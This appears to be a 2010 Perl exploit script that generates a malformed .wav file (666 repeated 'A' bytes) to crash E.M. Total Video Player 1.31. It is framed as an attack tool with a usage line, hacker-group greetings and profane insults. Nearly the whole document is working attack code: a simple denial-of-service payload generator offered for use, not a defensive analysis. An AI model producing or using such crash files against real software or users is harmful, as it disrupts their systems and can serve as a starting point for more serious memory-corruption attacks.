Total Video Player 1.31 - '.wav' Local Crash

#!/usr/bin/perl

# E.M. Total Video Player V1.31 (.wav) Local Crash Exploit
# Author	: v3n0m
# Site		: http://yogyacarderlink.web.id/
# group		: YOGYACARDERLINK
# Date		: February, 22-2010 [INDONESIA]
# Software	: E.M. Total Video Player
# Version	: 1.31 Other versions may also be affected
# Download	: http://www.effectmatrix.com/total-video-player/index.htm
# Greetz	: All Yogyacarderlink Crew
# Special Greetz: LeQhi (Happy b'day to you),eidelweiss,mywisdom,GheMaX,m4rco
# Fuck to	: Yg suka nyebar bugs,tapi ga ngerti cara nyari bugs -__-"
#		  Sekarang gw tunjukin ke lo begini caranya !! fuck lamer troll !!
print "|----------------------------------------------------|\n";
print "| E.M. Total Video Player (.wav) Local Crash Exploit |\n";
print "| Created  : v3n0m                                   |\n";
print "| E-mail   : v3n0m666[at]live[dot]com                |\n";
print "|                                                    |\n";
print "|                                                    |\n";
print "|                         www.yogyacarderlink.web.id |\n";
print "|----------------------------------------------------|\n";
print " Usage: Run this c0de, load file and bo0om!!\n\n";
my $fuck = "\x41" x 666;
my $file = "lamerz.wav";
open (FILE,">$file") or die "[!]Cannot open file";
print FILE "$fuck";
print "\nFile successfully created!\n";